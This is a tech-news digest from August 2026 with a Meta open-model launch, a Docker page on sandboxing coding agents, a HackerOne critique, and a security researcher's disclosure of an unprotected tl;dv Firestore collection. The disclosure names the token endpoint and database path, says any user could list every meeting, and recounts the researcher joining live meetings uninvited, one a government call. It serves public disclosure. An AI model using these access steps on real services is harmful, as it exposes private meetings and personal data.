Cover illustration

TheDaily Front

Issue No. #260810 Monday, August 10 2026 #260810 — MONDAY, AUGUST 10, 2026
Open weights, closed doors, and one very long interrupt.
Monday, August 10, 2026 The Daily Front No. #260810 — Contents
30stories
7,995points
4,591comments
252kllm tokens
Assembled with 30 model calls — 176,106 tokens read, 75,787 written.

Highlights

Muse Glimmer: 30B-parameter model optimized for always-on local agent workflows

Meta’s newly open 30B-parameter model makes the case for capable, always-on agents running on personal hardware.

Docker Sandboxes – Disposable, isolated sandboxes for AI agents

Docker offers disposable local environments for unattended coding agents, prompting an immediate argument over trust, logins, and escape hatches.

Tl;dv: Over 180k meetings left wide open

A reported exposure of 181,874 recorded meetings is a sharp reminder that AI convenience can turn private conversation into public data.

Show HN: Needle2: 14MB agentic LLM for phones, wearables, smart home and robots

A 14MB agentic model brings tool use and structured extraction to phones, wearables, appliances, and robots.

Parametron: 50s Japanese computer that uses neither transistors nor vacuum tubes

From ferrite-core logic to a 1991 candy bar, today’s historical desk finds that old artifacts still have fresh lessons.

From the Editor

The machine has come down from the cloud and taken a seat at the workbench. But as agents acquire autonomy, the day’s dispatches make the old editor’s point plain: capability without containment is merely a faster route to trouble.

  1. Muse Glimmer: 30B-parameter model optimized for always-on local agent workflows3
  2. Docker Sandboxes – Disposable, isolated sandboxes for AI agents4
  3. Tl;dv: Over 180k meetings left wide open5
  4. What Happened to HackerOne?6
  5. Exploiting System Management Mode with a very long interrupt7
  6. Show HN: Needle2: 14MB agentic LLM for phones, wearables, smart home and robots8
  7. Auto mode is now the default in Claude Code9
  8. Exploring Claude/GPT Knowledge Cutoffs and Pre-Training Timelines10
  9. How We Pushed CDC into Postgres11
  10. Rust SIMD on the GPU12
  11. ATProto for Distributed Systems Engineers13
  12. Parametron: 50s Japanese computer that uses neither transistors nor vacuum tubes14
  13. Squeak 6.115
  14. Taxi drivers rarely die of Alzheimer's16
  15. 50k Boat Names17
  16. An Interesting Fourier Transform – 1/f Noise (2007)18
  17. "The Persian MâR-Nâmeh Or, the Book for Taking Omens from Snakes" (1892)19
  18. Run Android ARM64 VR APKs on Apple Vision Pro20
  19. Show HN: Voice driven murder mystery, Interview AI suspects with your voice21
  20. Launch HN: Stoa Markets (YC S26) – A Marketplace for GPUs and AI Servers22
  21. Humanising LLM Outputs Is Dumb23
  22. Mistral Patent for “Code implemented tool calls”24
  23. Letter to Governor Abbott on responsible AI infrastructure in Texas24
  24. Ask HN: In your experience, what are sound conventions for e-ink UI development?25
  25. Mars Bar from 1991 found – and it's 20g bigger than today's26
  26. Mark Zuckerberg attacks 'closed' AI rivals as Meta returns to open models27
  27. Magnitude 7.4 Earthquake – 5 km S of San José del Palmar, Colombia27
  28. Tail-call optimization in C is relatively recent (2025)27
  29. Sonic Pi v527
  30. Picophysics: Single file physics for games on platforms like N64, PSX, DC27
The Daily Front Page 2 of 28
Monday, August 10, 2026 The Daily Front No. #260810 — The Local Model Lands
article

Muse Glimmer: 30B-parameter model optimized for always-on local agent workflows

by riordan·▲ 1,102 points·602 comments·research.meta.ai ↗
It’s small enough to run on a Mac or PC with a single consumer GPU.

Today, we're introducing Muse Glimmer, the next model from Meta Superintelligence Labs, and open sourcing the model weights under a permissive Apache 2.0 license.

Muse Glimmer is a 30-billion-parameter model optimized for always-on local agent workflows. It’s small enough to run on a Mac or PC with a single consumer GPU, enabling use cases that range from local agents and function calling, to local coding, and LLM-as-a-judge evaluation. Muse Glimmer delivers strong performance on key agentic use cases and benchmarks compared with leading models in its size category.

Foundation models have achieved remarkable capabilities across reasoning, code generation, and tool use — yet most deployments still depend on cloud infrastructure and network access. Running models locally enables you to use AI anywhere, anytime, with or without an internet connection. This is increasingly viable: the open source community has shown that smaller models, when trained effectively, can approach frontier-level performance on targeted tasks. Muse Glimmer is optimized for these local use cases.

Keeping with our long tradition of sharing fundamental AI research, we're releasing Muse Glimmer open weights today on Hugging Face, along with developer documentation to help you start building and running your own agents. Muse Glimmer is built to work with the tools developers already use. Optimized integrations on llama.cpp, MLX, and ExecuTorch will land in the coming days, so you can go from download to working agent in minutes.

How We Trained Muse Glimmer

An agent that manages your schedule, drafts your messages, organizes your files, and learns how you work needs deep access to personal context. It also needs several capabilities working in concert: long-horizon execution, precise tool calling, multimodal understanding, long-context memory, and instruction following.

We designed Muse Glimmer to balance capability against the memory and compute constraints of local hardware. This required a compact architecture, a novel distillation recipe that transfers agentic reasoning from a much larger teacher model, and inference optimizations — including quantization — to meet latency expectations. We achieved this in the following phases:

  • Pre-Training. We trained Muse Glimmer on Muse Spark's outputs using logit distillation, leveraging a similar data mix as the teacher.
  • Mid-Training. We trained the model on longer-context, more agent-heavy data with richer reasoning traces, alongside organic data.
  • Post-Training. We combined supervised fine-tuning with a mix of on-policy distillation and reinforcement learning across general, reasoning, coding, and agentic domains.

Muse Glimmer was evaluated under the standards set out in Meta's Advanced AI Scaling Framework and assessed for open-weight release across all relevant categories.

Built for Agents: What Muse Glimmer Can Do

Building effective agents requires key capabilities working together to achieve the user’s goals. Muse Glimmer is trained and evaluated across each of the following:

  • End-to-end Agentic Task Completion. Muse Glimmer achieves strong success rates on full-task benchmarks including DeepSearch QA, MCP-Atlas, 𝛕-Bench and SWE-Bench, which measure its ability to work within scaffolds, write and debug code, and resolve multi-turn requests from start to finish.
  • Reliable Tool Use. The model handles a wide range of function calls, invoking tools with precise schemas throughout extended workflows.
  • Multi-Step Reasoning. Muse Glimmer chains reasoning over long horizons, sustaining coherent plans across complex, extended workflows.
  • Failure Recovery. When a tool call fails or returns an unexpected result, the model is trained to diagnose the error and retry rather than halt.
  • Multimodal Input and Reasoning. Through a dedicated perception encoder, the model accepts interleaved text and images. This enables agents to interpret screenshots, charts, and documents alongside conversation.
  • Scaffold Compatibility. Muse Glimmer works across OpenClaw and other agentic orchestration patterns.
  • Controllable Effort. Muse Glimmer supports different reasoning strengths to select the right balance between quality and speed.
  • Multilingual. Muse Glimmer is trained on data from more than 100 languages.

Performance

We evaluated Muse Glimmer across a broad range of benchmarks to assess the diverse capabilities required for effective autonomous agent behavior. Compared with Gemma4-31B and Qwen3.6-27B, Muse Glimmer performs strongly for its size class on several widely used LLM benchmarks.

Table comparing Muse Glimmer 30B with Gemma4 31B and Qwen3.6 27B across agentic, coding, multimodal, safety, and reasoning benchmarks.

For more detail about our evaluations, see our report.

Optimized for Local Deployments

A local agent is truly useful if it's fast enough to feel responsive. An agent that takes minutes to reply or plan its next step breaks the flow of real work. We applied two optimizations to make Muse Glimmer run at practical speeds on consumer hardware without sacrificing quality.

Fitting the Model on Your Device.

At full precision, a 30-billion parameter model would require over 55 GB of memory — far more than any consumer GPU offers. We use quantization techniques to compress the model's weights to approximately 4-bit precision, shrinking the language model to under 20 GB. This leaves enough headroom for the model's working memory (its "KV cache"), the perception encoder for image understanding, and the speculative decoding drafter to run simultaneously within a 24 GB or 32 GB envelope. We validated that this compression introduces minimal to no degradation on agentic tasks.

Table comparing full precision, K-Quant-Dynamic, and K-Quant-17GB by accuracy degradation and target hardware memory.

Faster Generation Through Speculative Decoding.

Language models normally generate text one token at a time, which can feel slow during long reasoning chains or multi-step tool calls. Muse Glimmer ships with a lightweight "drafter" model based on DFlash — a small companion network that proposes entire blocks of tokens at once. The main model then verifies these proposals in parallel, accepting correct tokens and correcting wrong ones. This technique lets Muse Glimmer generate text significantly faster than standard token-by-token generation while producing identical output quality. We provide quantized drafter versions to incur a smaller memory overhead in the release.

The Result:

We measure the speed of our K-Quant-17GB model alongside the quantized DFlash drafter on MacBook M4-Max, M5-Max and on a RTX-5090. The model is fast enough for fluid conversation and real-time agent interaction, all running entirely on your device.

Bar chart showing DFlash speculative decoding increasing Muse Glimmer decode speed by 3.1 times on RTX 5090, 1.8 times on M5 Max, and 1.5 times on M4 Max.

Get Started With Muse Glimmer Today

Muse Glimmer is available now, and you can download the weights on Hugging Face. In the coming days, run it locally through partners like Ollama, LM Studio, and Unsloth, deploy it with edge frameworks including llama.cpp, ExecuTorch, and MLX, serve it at scale with vLLM and SGLang, or get started quickly through partners like Together AI, Fireworks AI, and OpenRouter. You can even customize it for your use case by leveraging PyTorch’s TorchTitan training feature to tune the model further.

We're also working with our partners including AMD, Arm, Dell, Intel, and NVIDIA to optimize performance across devices. In addition, we’re releasing documentation so developers have the resources they need to get started and build responsibly with Muse Glimmer. This includes guidance on setting up custom scaffolds, so it's even easier to start building and deploying personal agents on day one. You can learn more and find resources to build on Meta's AI Developer Center.

This work builds on Meta's long track record of open AI research, extending it into agentic AI and giving developers access to local agentic capabilities. As always, we welcome feedback from the community and can’t wait to see what developers build with this open weights model.

Download the Model on Hugging Face Developer Documentation

The Daily Front Page 3 of 28
Monday, August 10, 2026 The Daily Front No. #260810 — The Agent Safety Net
article

Docker Sandboxes – Disposable, isolated sandboxes for AI agents

by etoxin·▲ 649 points·364 comments·docker.com ↗
Disposable, isolated sandboxes for AI agents that need safe, unattended execution.

Disposable, isolated sandboxes for AI agents like Claude Code, Copilot CLI, Codex, OpenCode, and Kiro that need safe, unattended execution.

macOS

$ brew trust docker/tap && brew install docker/tap/sbx

Copy

Windows

winget install Docker.sbx

Copy

Linux (Ubuntu)

$ curl -fsSL https://get.docker.com | sudo REPO_ONLY=1 sh

$ sudo apt-get install docker-sbx

Copy

Get started free

Watch demo

docker sandboxes agent workspace

Sandboxes in action.

Watch an agent install packages, run Docker, modify configs, and execute unattended. Then dispose of the sandbox in one command.

sbx-demo ▶ Run Demo

Click “Run Demo” to start

Get started in seconds.

macOS

$ brew trust docker/tap && brew install docker/tap/sbx

Copy

Windows

winget install Docker.sbx

Copy

Linux (Ubuntu)

$ curl -fsSL https://get.docker.com | sudo REPO_ONLY=1 sh

$ sudo apt-get install docker-sbx

Copy

Read the docs

Give agents the autonomy they need to get work done, safely.

Agents do their best work when they have freedom. Sandboxes let them run fast without running wild, so speed and safety stop being a tradeoff.

Filesystem

Network

Credentials

sndbx 1

sndbx 2

sndbx 3

sndbx 4

sndbx 5

sndbx 6

Need to enforce these controls across your whole team?

That’s Docker AI Governance

YOLO mode, safely.

Each agent runs inside a dedicated microVM with your dev environment and only your project workspace mounted in. Agents can install packages, modify configs, and spin up their own Docker containers. Your host stays untouched. No manual review, no permission prompts, no supervision required.

Customizable Safe Execution

Network and filesystem controls you define.

Enforceable org-wide with Docker AI Governance.

MicroVM Isolation

Hard security boundary from the host.

Fast to Spin Up, Easy to Tear Down

Disposable by default. Faster than VMs.

Agents Can Use Docker Too

Agents can spin up containers within Sandboxes.

Real Dev Environment

Install packages, run services, work unattended.

One Sandbox for All Your Coding Agents

Claude Code, Copilot CLI, Codex, Kiro, OpenCode.

Default –dangerously-skip-permissions Use permissive modes with confidence. In fact, that’s the default.

Works with leading coding agents

factory ai logo

Every team is about to have their own team of AI agents doing real work for them. The question is whether it can happen safely. NanoClaw was built on the principle that you don’t trust agents with security, you build walls around them. Docker has been ahead of the curve on exactly this. Docker Sandboxes is what that looks like at the infrastructure level, making it possible for organizations to get the full value from agents without compromising on security.

Gavriel Cohen

Creator of NanoClaw, NanoClaw

Docker Sandboxes let agents have the autonomy to do long-running tasks without compromising safety. We’re excited to integrate Sandboxes into Warp so that developers can run agents freely with a consistent environment, regardless of whether agents are running locally or in the cloud.

Ben Navetta

Engineering Lead, Warp

Give agents freedom. Keep what matters safe.

macOS

$ brew trust docker/tap && brew install docker/tap/sbx

Copy

Windows

winget install Docker.sbx

Copy

Linux (Ubuntu)

$ curl -fsSL https://get.docker.com | sudo REPO_ONLY=1 sh

$ sudo apt-get install docker-sbx

Copy

Read the docs to get started

Common questions.

What is a sandbox for AI coding agents?

A sandbox is a microVM isolated environment that protects your filesystem and network from agents running inside it.

Which coding agents are supported?

Out of the box we support Claude Code, Gemini CLI, Copilot CLI, Codex, OpenCode, Kiro. You can also create your own

What does “YOLO mode” mean, and is it safe?

YOLO mode (--dangerously-skip-permissions) gives agents autonomy with no approval prompts. Essential for speed, but risky without guardrails. Sandboxes make it safe by isolating each agent inside a dedicated microVM.

How is a sandbox different from a VM?

Sandboxes run fully isolated in microVMs, giving more isolation without paying the full cost of running a VM. This lets them do things that need more permissions safely, like running additional Docker containers.

What safety controls can I configure?

To define these once and enforce them on every developer’s machine, see Docker AI Governance.

Do I need Docker Desktop to use sandboxes?

No.

What if I need additional admin controls?

Installing Sandboxes covers core functionality. For centralized controls across a team such as network policies, filesystem rules, MCP governance: Docker AI Governance.

Need More Control Over Your Sandboxes?

With Docker Sandboxes, your developers get isolated environments to run agents freely and safely. When your team needs to go further with network access restrictions, filesystem policies, and centralized admin controls, we can help you configure the right setup.

Docker AI Governance adds network access policies, filesystem controls, and org-wide MCP governance: defined once, enforced everywhere.

Talk to us about:

  • Network access policies for sandbox environments
  • Filesystem access controls and restrictions
  • Admin-level configuration for your team
The Daily Front Page 4 of 28
Monday, August 10, 2026 The Daily Front No. #260810 — The Meeting Room Has No Walls
article

Tl;dv: Over 180k meetings left wide open

by colesantiago·▲ 575 points·190 comments·bobdahacker.com ↗
181,874 Meetings Left Wide Open.

I reported this on January 28th, 2026. It is now July 2026. Six months later. The Firestore database is still wide open. The CTO never responded. I guess my emails were too long and they didn't view them.

What is tl;dv?

tl;dv (Too Long; Didn't View) is an AI meeting recording platform. It drops a bot into your Google Meet, Zoom, or Teams call, records everything, transcribes it, and generates summaries with AI. Over 2 million users. Backed by investors. Endorsed by half of LinkedIn's sales influencer community.

They store your sales calls, job interviews, performance reviews, internal strategy sessions. The kind of content where someone says "this call is being recorded" and everyone nervously laughs and then shares trade secrets for 45 minutes.

The Vulnerability

When you sign up for tl;dv, the platform authenticates you with a JWT and exchanges it for a Firebase token via gw.tldv.io/v1/users/firebase/token. That token lets you query their Firestore database at projects/lmi-store/databases/(default).

The meetings collection has no tenant isolation. Any authenticated tl;dv user can query every meeting across every account on the platform. Each meeting record hands you the creator's email address, the conference ID (which is a joinable Google Meet or Teams room), the provider, the recording status, and timestamps.

For meetings in recording status, that conference ID is a live, active call. You can watch the collection in real time, see a meeting start recording, grab the ID, and walk into someone's call uninvited. At any given time there are roughly 1,000 meetings with status: recording sitting in the collection. A thousand live calls with exposed conference IDs. An attacker with a bot could join all of them simultaneously.

A call thats being recorded

I Joined 2 Meetings

I did it.

Grabbed a conference ID from Firestore and joined a live Google Meet belonging to the Malaysian Ministry of Education. A lady was presenting to over 157 participants. The tl;dv bot was already in the participant list. I was in the same call. Nobody invited me. The Firestore database did.

Call 1

I also joined a call where students from a major US university were building a startup app. 21 people in the call. They were screen-sharing their entire project, discussing prototypes, and, I kid you not, talking about how they needed to add client-side validation for .edu email addresses. They were also setting up Supabase live on screen, and all I could think was "please set up RLS policies" because most people don't, and then you end up like tl;dv.

I wanted to say something so badly. "Hey, you might want server-side validation too." But this was a proof of concept, not a consultation.

Call 1

The Scale

I queried the Firestore meetings collection and saw there were 181,874 meeting records belonging to 84,312 unique users across 35,003 email domains.

Government meetings from 23 countries: Brazil, Colombia, Peru, Ukraine, El Salvador, the Philippines, Chile, Indonesia, Mexico, the United States, Qatar, Malaysia, Uzbekistan, Sri Lanka, Haiti, South Africa, Jamaica, Honduras, Argentina, Thailand, Japan, Israel, and Belize. All .gov domains. Government employees recording calls on a platform that lets any free-tier user enumerate the whole thing.

University meetings from Berkeley, the University of Tokyo, De La Salle, Universidad Nacional de Colombia. Dozens of .edu and .ac domains.

Corporate meetings from all 35,000 remaining domains. Mitsui-Soko (484 meetings across four regional offices), Mitsui Fudosan, HubSpot, Confluent, Mekari, AnyMind Group. Every company that ever used tl;dv had their meeting metadata in the same unprotected collection.

Peak month was July 2025 with 43,209 meetings. Busiest time slot: Wednesday at 2pm UTC, 7,804 meetings. Hump-day standup hour.

But Wait, There's More

I wanted to know how much actual content was accessible too, by default meetings are private (Meaning you cant watch the video or see the transcript), so I scraped 27,334 meeting IDs and checked which ones were public. Over 1,000 were. 715 invitee emails exposed across 228 domains.

Highlights: a Brazilian government conservation meeting (PACTO Mata Atlântica) with participants from WWF, The Nature Conservancy, Conservation International, WRI, and the São Paulo state government. Meetings from Ukraine's Ministry of Digital Transformation. A HubSpot sales call. Sessions involving Universidad Nacional de Colombia and Chile's Cámara Verde.

The Pasta Infrastructure

tl;dv names their microservices after pasta. A subdomain scan reveals cappellini, carbonara, fusilli, pasta, penne, puttanesca-v0, and ravioli, all under tldv.io. An entire Italian restaurant worth of Express servers.

Too Long; Didn't Score

While exploring their subdomains I found https://worldcup.tldv.io. A FIFA World Cup 2026 vibecoded prediction game built on Base44 for tl;dv employees. It's called "World Cup Pick'em" and their internal squad is named "Too Long; Didn't Score." Cute.

The Player entity API has zero authentication. GET /api/entities/Player returns every player record without a session cookie. 43 players. 19 @tldv.io employees with full names and corporate emails.

Raphael Allstadt, my disclosure contact who gave vague reassurances and then went quiet, came in 2nd place with 298 points. His personal Gmail was also in the API response. Player #5 on the global leaderboard is "Super Duper CEO." I'll let you guess who that is.

The Prediction and Fixture entities are also wide open. A company that records millions of people's meetings vibecoded an internal fun app that leaks their own employee directory. The irony is al dente.

A vibecoded world cup slop app

Disclosure

On January 28th I messaged Raphael Allstadt on LinkedIn and told him I'd found a huge vulnerability that leaks user data. He responded within minutes: "thank you! can you report it to our CTO and we will look at it immediately?" I sent the email. He said "thank you!" I asked about a reward. "My CTO will come back to you," he said.

The CTO never came back to me.

January 29th: "your cto hasnt reached out yet btw and its not fixed." January 30th, Raphael: "I am sure the team is reviewing it very very soon ❤️" February 14th: "havent got an email and the vulnerability stilll works." Raphael: "He'll come back ☺️" I told him to maybe fix the vulnerability and not leave customers exposed. February 19th: "We're on it. It needs some time, but rest assured we're following through. For further communication, i'll recommend reaching out to our CTO."

The CTO who never responded. That CTO.

March 6th: "still not fixed." Seen by Raphael at 5:42 PM. No reply.

July 22nd: "still not fixed..." No reply.

Their security page is a trophy case. SOC2 compliant. GDPR compliant. EU AI Act compliant. Hosted in the EU. AES-256 encryption. A founder commitment video. Six compliance badges lined up in a row. Buried at the bottom, a single line: "If you have discovered a privacy or security issue that we should address, please always let us know at [email protected]. Our security team will respond within 24 hours." I emailed the CTO directly. Six months. No response. Their Firestore database has better uptime than their inbox.

Date What
Late January 2026 Discovered Firestore tenant isolation bypass
January 28, 2026 Reached out to Raphael Allstadt (LinkedIn) and emailed CTO + Raphael
January 29, 2026 Raphael gives vague reassurance
February - March 2026 Multiple follow-ups. CTO never responds.
July 2026 Still not fixed. Still no response.

Buon appetito.

To tl;dv

Your platform records people's most sensitive conversations. Job interviews. Sales negotiations. Government briefings. Your users trusted you with content they explicitly consented to record.

Fix the Firestore tenant isolation. Firestore security rules exist for this. You already do it correctly for every other collection (users, chats, transcripts, clips, recordings, videos, notes, teams, organizations all return 403). You just forgot meetings.

Put auth on the World Cup app or take it down. Your employee directory is one GET request away.

Respond to security researchers. Especially when they're telling you that every meeting on your platform is queryable by anyone with a free account.


So long and thanks for all the pasta :3

The Daily Front Page 5 of 28
Monday, August 10, 2026 The Daily Front No. #260810 — Bug Bounty’s Reckoning
article

What Happened to HackerOne?

by hipparchus·▲ 376 points·196 comments·blog.teknogeek.io ↗
It might be time for a wellness check.

So…what’s going on at HackerOne lately? It might be time for a wellness check.

If you are new to the bug bounty space (1-3 years), you might not have any idea what I’m talking about.

But as a properly washed-up bug bounty hunter who lived through the golden era of HackerOne, I think it’s time to address the elephant in the room.

For some context, I started as a hacker on HackerOne in 2017. When I began working in tech, that hands-on experience was extremely useful for managing a bug bounty program, since I knew what researchers wanted, and how to interact with them.

As a result, I have managed multiple large bug bounty programs on HackerOne across various companies from 2018 to 2025 and I’ve been on both sides of the equation.

What I’m about to talk about comes from first-hand experience, both as a researcher and as a bug bounty program manager, and many, many years of direct conversations with HackerOne, both publicly and privately.

Background

To start, I think it’s important to realize what HackerOne was originally designed to be.

In 2011, two ethical hackers, Jobert Abma and Michiel Prins, set out to find security vulnerabilities in 100 of the largest tech companies. They succeeded and found bugs in Google, Facebook, Apple, Microsoft, Twitter, and many others. At this point in time, the landscape for ethical security research was risky, legally dubious, and very scary for security researchers.

Not only was there significant personal liability, but there had been multiple instances of hackers being criminally charged and sentenced to jail time for finding and reporting security vulnerabilities prior to this. Much of this was due to specific arbitrary lines drawn in the sand which, if crossed, made you a bad actor, but if not crossed, made you a potentially bad actor but technically not one.

Bug Bounty Platforms like HackerOne were designed to directly address this issue. It created a safe mutual space for companies and hackers to connect, and it paved the way for ethical hackers to submit security vulnerabilities to companies, with full consent, and get paid for that work. This was a huge milestone. You no longer had to worry about getting dragged to court (or jail) for finding an IDOR that leaked customer data. Instead, you got a “thank you” and a cash payout for making everyone a little safer.

This operating model was the foundation for bug bounty and remained that way for the next 5+ years.

The Golden Age of HackerOne and Live Hacking Events

During this period, there was a very strong and explicit focus for the business: how do we make this the best possible product for hackers?

The people running the business day-to-day were hackers, hacker-adjacent, and most (if not all) were face-to-face with hackers on a regular basis.

From 2017 to 2020, HackerOne was doing Live Hacking Events (LHEs) every few months. These were exclusive events where the top bug bounty researchers around the world would fly into a location, be given a target, and go absolutely ham finding critical vulnerabilities. LHEs were a huge value prop for programs. During a 1-3 day period, you would get more high and critical security reports than you would have received for the whole year otherwise.

Every event had a 1-of-1 custom designed poster with graphics, hacker usernames, stickers and challenge coins. It’s hard to overstate what an incredible and productive period this was for HackerOne and their top programs.

These events were exclusive and highly coveted; invites and +1s were practically their own currency. And the environment at these events was surreal. You would be given free flights and hotels around the world, and spend a few days surrounded by the best and most skilled bug bounty hunters in the world. These researchers would regularly find some of the most impactful bugs using their own novel techniques, and all while sharing tips and tricks in one-off conversations that could not be replicated anywhere else.

Prior to the advent of live hacking events, most security researcher circles were small, isolated, and sharing information publicly was practically unheard of. LHEs created a way for security researchers to connect with each other, and essentially created a whole new community within infosec. Most of my closest friends nowadays are people who I met through the live hacking scene, and I am extremely grateful to HackerOne for that.

LHEs were not the only area where HackerOne was building and establish a community for security researchers. They created a HackerOne Community space to organize meetups, online events, workshops, and CTFs. They created regional clubs, and appointed hackers who lived there as ambassadors to help foster and grow local researcher communities all around the world.

But slowly but surely, things began to change. The community groups and events lost momentum and fizzled out. The custom designed silkscreen LHE posters became cheap low-effort laser prints. The people who had dedicated years to creating and running incredible events were laid off or left. The LHE invitation and scoring systems became (even more) exclusive, gamified, and exceedingly calculated.

So one by one, the dominoes began to fall.

The Profit Problem

Before going further, I think it’s important to get into the “why” behind these changes that started happening. Sometime around 2020 or 2021, HackerOne was forced to come face-to-face with a very important question that every business must ask itself at some point: “How do we make money?”

To understand how HackerOne even was able to survive as a business, you have to first know that HackerOne was basically running entirely on VC money for the first 10 years of its existence. Between 2014 and 2022, the company did a seed round almost every 2 years, raising a total of $160M. If a company is self-sustaining, there is little-to-no reason to continue raising money unless you have an incredibly high burn-rate, which would be odd for a company with such little infrastructure and technical innovation.

If you know anything about VC, you know how this tends to work; they give you money, and in return, you give them indirect control of the business through board seats, advisory positions, and other leverage mechanisms. The VCs gave the money, so the VCs get the power.

Rome did not fall in a day, and neither did HackerOne. The paradigm shift started slowly, and then all at once. The core technology driving the platform began to stagnate. Very little changed within the platform. The UI remained tired and “functional”. The performance remained lacking.

But the VCs looked at their playbook and realized that the easiest way to make money was simple: get more customers.

First, the founding CEO was replaced with a corporate CEO. Instead of a 20% cut of bounties paid, they shifted to capacity-based fee structures, annual contracts, and locking customers into multi-year deals.

And then, sales. SALES SALES SALES!! They were fully convinced that sales were the bread and butter of the business. So instead of basing the company around hackers, they leaned into sales.

More customers = more annual contracts = more predictable long-term revenue. Once a customer is locked in, they are fed stats and numbers and greased up to keep them happy, but also to keep demands low. When contract renewal comes up, they are given massive (30-60%) discounts in exchange for a multi-year contract in order to keep them locked in and paying.

Account Managers would have regular meetings with customers and encourage them to raise bounties to stay competitive and attractive to hackers. They would tell you, “Hackers want to spend time focused on the highest-paying programs”.

HackerOne was proud of this and encouraged the behavior internally. They gave out rewards, free vacations, and encouraged their rapidly growing sales team to sign new customers as much as possible.

hackerone sales stars trip to turks and caicos

As this continued, things continued to degrade for everyone involved.

For triagers, the best ones (who were hackers themselves) burned out and quit. The pay was too low and the workload was too much.

For hackers, the triage experience declined, and they became flooded with excessive amounts of low-quality programs.

For customers, the quality of reports went down, the costs went up, and the race to the bottom began.

And for everyone, the platform experience declined and never evolved.

Typically at this point, market economics would dictate that this is where a competitor takes your business and you must improve to retain market share. But bug bounty is an oligopoly, and there are 3 companies that control almost the entire market.

So instead, HackerOne was forced to create a new exclusive opportunity called the “Hacker Success Program” (HSP). This is a dedicated space for top hackers to get direct support from HackerOne for anything bug bounty related. They were assigned to a Hacker Success Manager (HSM) who was employed by HackerOne, and they could leverage that relationship to navigate miscommunications, bad program experiences, low or inaccurate bounty payouts, and much more. They also use this space to offer unique opportunities like H1 challenges for hackers in the HSP group.

One thing I want to call out is that while this is a great idea in theory, in practice it created a completely lopsided playing field for new hackers. You have basically zero ways to advocate or work through problems (good luck working with HackerOne support), so the rich get richer and you are given the option to deal with it or get lost unless/until you are a top hacker. Oddly enough, it would be much easier to become a top hacker if you had access to these resources in the first place.

Anyway, for some hackers, the HSP revolutionized what was previously an impossible brick wall. If you got screwed over by a company who failed to understand the security impact of your report, you could now lean on your HSM to help get a direct line of communication to the company and try to resolve that.

But for others, the HSP highlighted one of the core underlying failures that has plagued HackerOne for years: stagnating feature development. Even if you are part of the exclusive HSP group, you still don’t have the ability to do one important thing, which is to invoke change and development within the platform.

And yet, for some reason, HackerOne decided to take a performative approach to this, going as far as to create a dedicated platform feedback channel, but doing absolutely nothing with any of that feedback. I cannot even count how many pieces of individual feedback and suggestions have been posted in there, with positively zero action from HackerOne.

The AI Era

And then, around 2021, we all entered a new period of human history: the rise of AI and LLMs.

Beginning around this time, we all began to witness the huge gains in velocity and the capabilities of LLMs. You could now one-shot features in a fraction of the time, build custom tools, and overall get more done in less time.

But this is where HackerOne took a confusing turn. It is truly baffling to me how HackerOne managed to fumble this technology in the worst way possible. They had a 10-year backlog of feature requests, and were handed one of the most powerful software development tools in the last 50 years. But instead of using this to improve the platform and add long-requested features, they decided to move toward creating “their own” AI assistant called Hai. Not only was Hai just a wrapper on top of OpenAI, but it barely had any real unique capabilities to help hackers or programs do what they had been requesting from HackerOne to add to the core platform.

On top of this, the driving force behind the company, the hackers and co-founders who started the business, were quietly shoved away into the dungeon of HackerOne. The website has them listed as part of the executive team, but they are puppets in their own business, barely getting to work on the product they built from the ground up.

The Enshittification of HackerOne

For almost 10 years, Marten Mickos served as CEO of HackerOne. Some hackers loved Marten; others had mixed feelings. Personally, my interactions with him were somewhere between fine and good. But I do believe that he was very passionate about bug bounty and did a lot of good for the company during his time as CEO.

But in late 2024, Marten was replaced by Kara Sprague, the former Chief Product Officer at F5. You might be asking yourself, what does a CPO of a networking company know about hacking and bug bounty?

Honestly, I am not sure. What I will say is that there are mixed signals online regarding what happened to BIG-IP during her time as CPO at F5.

But that didn’t stop the board from deciding she was the right fit for the future of the company. And this was neither the first nor the last in a series of questionable business decisions made by HackerOne.

As AI agents continued to grow and shift into various identities, HackerOne’s identity also began to shift. Slowly but steadily, HackerOne rebranded itself around a newly invented industry category: “CTEM”, or “Continuous Threat Exposure Management”.

HackerOne quickly began to evolve into a soulless corporation obsessed with numbers, business objectives, and B2B sales. They switched from talking about bug bounty programs, live hacking events, and how they could help you stay secure, to promoting their in-house AI security product and continuous security monitoring tool.

Wait, what? What in-house AI security product?

Your Reports Are Yours, We Promise

Sometimes, it all starts with a tweet.

zseano tweet

In February 2026, well-known hacker zseano noticed that there was a surge in HackerOne employees leaving the company and asked why that would be happening.

This ended up revealing that HackerOne had made ToS updates which made it so that reports submitted on HackerOne could be used to train AI models.

As you might expect, this created quite a bit of noise, especially within the HSP chats. One thing I’ve noticed is that the modern day HackerOne only ever lets the founders out of the dungeon for damage control, and this was a perfect time to pull that lever.

Within 24 hours, Alex Rice, co-founder, CTO (and CISO…?) of HackerOne emerged from the dungeon to perform damage control. (This was the first time he had ever messaged in the HSP general chat since it was created two years earlier).

We do not train, fine-tune, or otherwise improve GenAI or large language models on researcher data. That includes Agentic PTaaS.

https://docs.hackerone.com/en/articles/10908081-hai-security-trust

And when asked to remove Section 3.1 of the ToS, Alex promised that this would be taken care of and made clearer in an upcoming update to the ToS.

Within a week, CEO Kara Sprague had been looped in and made a fluffy LinkedIn post explaining that

HackerOne does not train generative AI models, internally or through third-party providers, on researcher submissions or customer confidential data.

Researcher submissions are not used to train, fine-tune, or otherwise improve generative AI models. This applies across our platform, including capabilities used within our Agentic PTaaS offering and our in-platform AI, Hai.

Alex Rice even went on to the Critical Thinking Bug Bounty Podcast and did a guest spot to talk about this issue specifically and shut down any concerns about report data being used to train AI models.

Amazing, that’s settled then. HackerOne doesn’t use researcher data to train AI models.

…Right?

Just Kidding They Never Were

Unfortunately for us, the present-day HackerOne follows a rather impressive PR damage control playbook:

  1. Address fears
  2. Ease concerns
  3. Don’t change anything

About two months after this drama, someone mentioned in the HSP chat that they had noticed a comment from hackerone-agent on one of their reports and wanted to know if this was an AI agent or an actual human.

The response from one of the HackerOne product managers was:

This is a preliminary review done by AI […] The H1 triage process has a step called “H1 Intake” […] which we’ve automated for certain reports to make sure they reach the “Validation team” faster.

And when asked whether “certain reports” meant certain report types or whether a program could enable it everywhere, they responded:

We’re running the analysis on all reports, the AI determines what can be sent directly to the validation team vs what needs to be reviewed by a human from the intake team first. […] The system also learns from behaviour so, if a recommendation is rejected […] it will take these into account with its recommendations as well.

Hang on a second.

I thought that researcher submissions are not used to train, fine-tune, or otherwise improve generative AI models.

But now all reports are being run through an AI system, and the system is using the outcomes of those reports to influence how it handles future reports. So is that technically “fine-tuning”? Technically, no.

So how can both of these things be possible?

